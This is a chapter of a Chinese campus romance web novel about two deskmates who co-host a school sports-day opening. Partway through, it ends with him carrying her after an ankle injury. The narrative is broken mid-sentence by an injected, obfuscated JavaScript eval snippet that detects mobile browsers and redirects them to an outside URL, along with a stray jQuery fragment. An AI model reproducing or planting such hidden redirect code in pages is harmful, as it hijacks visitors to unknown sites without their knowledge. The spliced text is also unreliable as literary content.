“就用眼睛记住好了。”阮诗韵说着,努力睁大眼睛,企图将眼前这一幕牢牢记在心里。 三人欣赏了好一会儿,才恋恋不舍地在一二班中间那堵墙前分开,回到各自的教室去。 今晚又是温淇竹最讨厌的英语晚自习。 杨昌抱着一大沓资料走进教室,头回管理纪律时都和颜悦色,面上都泛着红光。 “肯定是有什么大喜事发生。”温淇竹趴在桌子上小声嘀咕。 如她所料,在全班同学安静下来后,杨昌便喜气洋洋地宣布道: “在这里,我要告诉大家一个好消息。”他手撑讲台,高兴地说道,“咱们班的周淮聿同学在英语演讲比赛中获得了特等奖的好成绩,全市唯一一个,大家掌声鼓励!” “哇——” 教室瞬间爆发激烈的讨论。 “聿哥牛逼!”段帆宇激动地捶桌子。 温淇竹吃惊地转头看向自己的同桌。 她想起刚开学不久的时候,潘洋杰无意提到周淮聿有参加英语竞赛——原来就是市级的英语演讲比赛吗? 少年像是习惯了其他人的吹捧,面对此刻的轰动没有太多表情,只是在杨昌望过来时站起身,礼貌矜持地说:“感谢杨老师的指导。” “别谦虚,这件事儿上我可没帮上多少忙。”杨昌笑得合不拢嘴,“这节晚自习,咱们就一起看看当时比赛的视频,学习一下课代表口语和英语思路,大家要认真看!” 一边说着,他一边拿出U盘,用鼠标点了好几下,调出比赛视频放到最大,随后在讲台上坐下,面露欣赏地开始观看。 同学们安静下来,半是好奇半是期待,目不转睛地看着视频中的周淮聿走上台。 视频中的少年看起来……和平时很不一样。 他穿着白衬衣黑西装,领口系了一条暗黑色领带,长身玉立,站在舞台中央,像一棵青松挺拔。一头漆黑的头发蓬松散开,有几绺碎发垂在眉骨前,舞台耀眼的灯光映得瞳色愈发淡,清冷得有些薄情。 隔着教室像素不高、划痕又很多的屏幕,那张俊朗的脸有些模糊。 流利正宗的英语被周淮聿那副低醇的嗓音念出,又由刺啦作响的音响加工,多出一丝哑意。 很悦耳。 但是她一个单词也没听懂。 温淇竹眯着眼睛看了一会儿,竟然诡异地生出困意,小小地打了个哈欠后,扭头去看坐在身侧的本尊。 少年单手撑着下巴,另一只手漫不经心地转动中性笔,神情懈怠,看似望着讲台,可眼神压根没聚焦。 这样的游刃有余和视频里又不相同。 大概是她的目光太过直白、不加遮掩,周淮聿很快就转头朝她看过来。 他一瞬不错地望着她,眨眼的频率偶然和她心跳共振。 劣质音响仍在工作,震得她耳膜疼,而比音响里更清晰、更沉澈的男声同时在耳畔响起: “看我这么久,看出什么了?” 12.12分 “看出来我和英语八字不合。” 温淇竹面不改色地答,还抬手捂了下眼睛,夸张道:“英语的光芒刺瞎双目!” “……”周淮聿扯了下嘴角。 “温淇竹,专心听!”杨昌发现她在开小差,不悦地出声提醒。 她赶紧坐直身子:“好的杨老师。” 等杨昌不再瞪她,温淇竹才再次偏头看向周淮聿,还想要说什么,却看见对方已经拿起了一本英语读物,明显是拒绝交流的意思。 她哼了一声,挺直背,抬起下巴目视前方,也不再搭理他。 至于后来杨昌针对周淮聿的英语演讲视频说了什么,她完全不记得,因为在集中注意看视频的半分钟后,她就开始小鸡啄米地打瞌睡了。 一直到体育委员终远宣布运动会的事,她才重新清醒过来。 “下周三到周五开校运会,每个项目都得有人参加,已经报名志愿者或是其他学校安排的同学和我说一声,我就不给你们排项目了。” 温淇竹半梦半醒地睁开眼时,正好听见这段话,立马举起手:“终远,我得主持开幕式。” 此话一出,立刻收获大家艳羡又习以为常的目光。 “这下好了,本次运动会校园墙表白率最高的美女又是咱们班的。”有男生感慨。 温淇竹大方地回以一笑,玩笑道:“也是为班级争光啦。” 她是播音社社长,每次学校有什么活动,基本都会安排她去主持。 “竹子,这次运动会的男主持定了吗?”陈姝妤凑过来问。 “还没有,本来想让一年级的学弟锻炼一下,但老师说她来安排人选,大概不是我们社团的。”温淇竹小声抱怨,“也不知道什么时候才能把人选确定下来,还要写稿子彩排呢。” 她还想展开说说负责老师的效率有多慢,坐在身侧始终一言不发的周淮聿忽然开口: “终远,我也得主持开幕式。” 今晚这堂英语晚自习,温淇竹第二次吃惊地转头看向周淮聿。 没想到老师最后选出来的男主持人会是周淮聿! 但是细想又觉得合理。 作为三中唯一一个北方人,他的普通话咬字发音是最标准的,再加上外形好、成绩优异,老师青睐,多给他展示的机会也不奇怪。 更何况,他还有神秘特权呢。 “所以,这次我们俩是搭档咯?”她指了指自己,又指了指周淮聿,最后在两人之间划了个圈,问道。 周淮聿眸光微动,朝她看来。 “太好了,这样我也不用为了改稿子到处跑,坐在自己位置上就能解决。”温淇竹一合掌,笑眼弯弯,公事公办地说,“合作愉快啦同桌。” 少年嘴角向上一掀,声音很轻很淡: “合作愉快。” /// 借着主持运动会开幕式这件事,温淇竹切身体会了一把周淮聿效率有多高。 一天之内定下主持终稿并对好每个人需要讲的部分,再花两天时间背稿、排练,就连礼服也被周淮聿一手包揽,这个看似艰巨的任务竟然在短短三天内顺利完成。 温淇竹晕乎乎地揉了揉自己的脸,总感觉心悬在半空,没有脚踏实地的真实感。 以往这些事儿……至少得花上一周的时间才能成型。 这次居然这么轻松地完成了? 她深知自己这次占了便宜,又殷勤地给周淮聿买气泡水,大力夸赞:“好同桌,这次基本都是你在操心,我纯粹是跟着沾光,辛苦啦!请你喝水!” 说罢,她又撕开零食递过去,示意他吃。 周淮聿只接过气泡水,没有说礼尚往来的客套话,把零食推了回去,嗓音清冷,继续和她说有关开幕式的事: “礼服会提前送到,到时候如果不合适再修改。” “没问题!” 温淇竹笑眯眯地答完,又悄悄吐了下舌头,心中暗暗腹诽: 大概效率高和风趣幽默是相对的,一起工作很愉快,但未免太闷太无聊了。 其实也有不闷的时候。 她回想起过去种种,默默纠正自己—— 明明和她对着干的时候,周淮聿就很来劲。 /// 时间一晃而过,很快到了运动会当天。 广播已响起热场音乐,在节奏声中各班陆续到位,温淇竹手捧礼服盒,逆着人流,去临时搭建的更衣室换衣服。 陈姝妤陪她一起,兴奋地晃了晃手中的相机:“我特地找我爸借来相机,保准把你最漂亮的时刻记录下来!” “好呀,等我主持完,再找同学帮咱们拍合照,说好了一年一张,不能忘!”温淇竹腾不出手去挽闺蜜,只能转头弯唇一笑。 今早来学校前,她就已经托温女士化好全妆,自然卷的头发也用夹板烫得更卷,打造出贴合礼服的妆造来。 假睫毛有些压视线,无论她如何费力地眨眼睛,上方总有一片挥之不去的模糊的黑色。没办法,为了更漂亮,她只好忍耐下这点儿不舒服。 陈姝妤向后大退一步,倒吸一口冷气,搓红自己的脸颊:“别这样冲我笑,我怕我犯错。” “你就是仗着我现在两只手都抱着礼服盒,没空打你,故意耍宝是吧!”温淇竹威胁似的眯起眼。 “才没有,真心话!” “那更该打了!” 她闪身进入换衣间,动作麻利地换上礼服,在拉身后的拉链时拜托陈姝妤帮忙。 “这件礼服质感真好,一看就知道价格不简单。”陈姝妤帮她拉好拉链,珍惜地摸了摸裙摆,止不住地感慨,“这次的礼服周淮聿到底是买的还是租的啊?” “租的吧?但租金肯定也不便宜,我和他说好了租金AA的。” 温淇竹站在镜子前转了个圈,满眼欣赏地和镜中的自己对视:“不过,这条裙子真的很漂亮,再贵也值了!” 这是一条拼接式平肩礼裙,恰好露出优美纤长的脖颈和锁骨,衬得她像只高贵的白天鹅。上衣整体为白色,有荷叶状的掐边装饰;下身是黑色纱质蛋糕裙,纯黑的布料紧紧缠在腰上,掐出腰线,而后顺势绽开,层层叠叠,繁琐又简约,恰好停在脚踝处。 要说点睛之笔,当属缀在腰侧的那朵含苞待放的白玫瑰,让整条裙子在端庄优雅之余多了一分俏皮。 “确实好漂亮,而且特别衬你……就好像是量身定做的一样。”陈姝妤也被这条礼裙迷住,凑近看了又看。 更衣室外同学来来回回,声音嘈杂,连广播里的音乐都变得不清晰。 温淇竹凝神静听片刻,在确定音乐已经快到尾声时,匆忙把礼服盒交给陈姝妤,健步如飞地朝舞台走。 “马上到我上场了,我先走啦妤妤!一会儿见!” 万幸她在无数次锻炼中已经习惯了高跟鞋走路,只要高度不要太过分,就不会影响她走路的速度。 她踩着音乐的最后几拍抵达后台,深呼吸好几次才喘匀气儿。 眼前停下一双黑色皮鞋,她抬眼一看,对上那双琥珀色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12090808|128522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼眸里。 四目相对,两人都没有动。 周淮聿今天也着一身正装,比上次在英语演讲比赛时穿得更华丽些,西装上绣有暗纹,胸口袋子里别着一朵白色玫瑰,恰好和温淇竹礼裙腰间那朵玫瑰相呼应。 他清隽的轮廓被日光勾勒得柔和,像从油画里走出来的贵公子。 温淇竹向来是想到什么说什么,直接夸赞道:“你这样穿很好看!” 少年喉结上下一滚,声音明明没有经过任何音响设备加工,仍是带了些哑:“……你也是。” “谢谢,也是因为你挑礼服的眼光好。”说完这句客套话,温淇竹不自在地抖了抖,赶紧把话题拐回正题,向他伸出手,掌心朝上,“话筒检查过了吗?走吧,上场。” 周淮聿垂眸看着她掌心的纹路,低低应了一声,将话筒递给她。 她试了下音,确定好一切妥当后,便和周淮聿一起走上舞台。 操场上,各年级各班已全部就位,学校领导和老师坐在最前排,齐齐抬头望着他们,等待他们宣布开始。 二人对视一眼,心中默数一二三,同时开口: “尊敬的老师、亲爱的同学们,大家下午好!” “这里是南榆三中第十三届秋季运动会,我是主持人温淇竹。” “我是主持人周淮聿。” “今天,我们相聚在这里,用不一样的竞技书写青春,用同样的顽强精神创造辉煌……” 三中传统,开幕式每个班都要准备一个节目来舞台前表演,等一、二年级全部表演完时,温淇竹已经站得双腿发麻,因为高跟鞋弧度被迫立起的脚掌也隐隐作痛。 她维持着笑容,不动声色地活动了一下脚踝。 终于,在周淮聿说完最后一句主持台词后,轮到校长上台宣布运动会开始,他们终于能下台休息课。 温淇竹小小地松了口气,转身朝台下走。 也不知是否是因为站得太久,麻木的双腿有些不听使唤,抬腿时险些没抬起来,高跟鞋正好勾住地毯的褶皱,害她重心不稳,朝一旁栽下去。 即便她反应迅速回正重心,周淮聿也及时出手扶她,但是高跟鞋没那么容易保持平衡,踝关节还是不可避免地扭了一下。 她脸色一白,轻轻“嘶”一声。 痛。 好痛! 想到脸上还带着妆,温淇竹咬紧牙关,仰起脸蛋,目光望向湛蓝的天空,不让在眼眶里打转的眼泪落下来。 至少要好好走下台。 她反手抓住周淮聿的胳膊,用气音说了声“扶我一下”,随后借力向前迈出一步。 后跟刚落地,钻心的疼立刻从脚踝处开始扩散,生生把她刚憋回去的眼泪又逼了出来。 妆不能花!忍住! 温淇竹不动声色地抬手,向上擦了下眼角的泪花,还没来得及和周淮聿商量稍微多搀扶着点儿,就听见身侧的周淮聿轻叹一声“冒犯了”。 什么? 大脑尚未转过弯来,身体骤然腾空,操场炸开此起彼伏的尖叫。 “我去,公主抱!” “好浪漫啊啊啊啊!” 温淇竹有些懵,下意识扭头想要往外看,后脑勺就被对方一把摁住,额头抵着他的胸膛,眼前只剩下黑。 规律的心跳近在咫尺。 熟悉的清冽香味环住她。 周淮聿的声音贴着耳畔响起,带动胸腔的震动。他语速比平时要快,吐字却格外清晰: “别动。”